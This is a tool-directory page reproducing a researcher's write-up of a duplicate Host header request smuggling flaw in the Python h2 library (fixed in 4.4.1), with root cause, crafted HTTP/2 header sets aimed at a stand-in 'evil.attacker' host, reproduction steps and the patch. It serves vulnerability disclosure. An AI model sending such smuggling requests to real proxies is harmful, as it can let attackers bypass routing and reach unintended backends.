Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc-h2-CVE-2026-71554 — PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1) | Kitploit
Tools/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityAPI SecurityAdversarial Attack
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1)

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-71554 - h2 Duplicate Host Header Request Smuggling Primitive

This is my first CVE, and I have released this PoC to document the finding and help others understand and reproduce it.

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Affected: h2 <= 4.4.0 Fixed: h2 4.4.1 Severity: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


What I Found

While reviewing h2's header validation logic, I noticed that _validate_host_authority_header() in src/h2/utilities.py checks that Host and :authority match - but only compares the last Host header it sees. If you send two Host headers, h2 uses the second one for the match check and forwards both to the application without complaint.

Interestingly, h2 4.4.0 already rejects duplicate Content-Length headers with a ProtocolError. The same fix was never applied to Host. There was even a TODO comment in the source acknowledging this exact gap:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Root Cause

_validate_host_authority_header() in src/h2/utilities.py uses a last-wins loop that records the last Host value seen and checks only that:

  1. At least one of :authority or Host is present
  2. When both are present, they match

There is no check on the number of Host headers. Each Host header is yielded downstream to the application regardless of how many are present.


Attack Scenarios

Case 1 - Two Host headers, no :authority

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 accepts both. Application receives both Host headers.

HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 requires a server to respond 400 to any HTTP/1.1 request containing more than one Host header. Backends diverge:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Case 2 - Stealth smuggling (:authority bypass)

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 validates: last Host (good.internal) == :authority (good.internal) - passes.

Application receives both Host headers. HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Backends that return the first Host on a single-key lookup route the request to evil.attacker while h2 believed it validated good.internal. Complete routing desync between what h2 validated and what the origin processes.


Control - Single mismatched Host correctly rejected

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 raises ProtocolError. Confirms the gap is specific to duplicate Host headers.


What Can Be Affected

Impact is conditional on the deployment architecture:

  • Affected: Reverse proxies or API gateways that accept HTTP/2 from clients and downgrade to HTTP/1.1 when forwarding to backends, where the backend uses the first Host header for routing decisions
  • Affected backends (empirically tested): Python stdlib http.client, Werkzeug Headers -both accept duplicate Host and return the first value
  • Unaffected backends: nginx - rejects with 400 on duplicate Host
  • Unaffected deployments: End-to-end HTTP/2 with no HTTP/1.1 downgrade

Steps to Reproduce

Requirements

root@kitploit:~
pip install h2==4.4.0

Run

root@kitploit:~
python3 poc_h2_duplicate_host.py

Expected output on vulnerable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Verify the fix on 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

All three cases raise ProtocolError. No headers forwarded.


The Fix

One counter added to the existing loop in _validate_host_authority_header():

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Credit

Found and reported by Sunand Mohan (https://github.com/SunandM)

Download Tool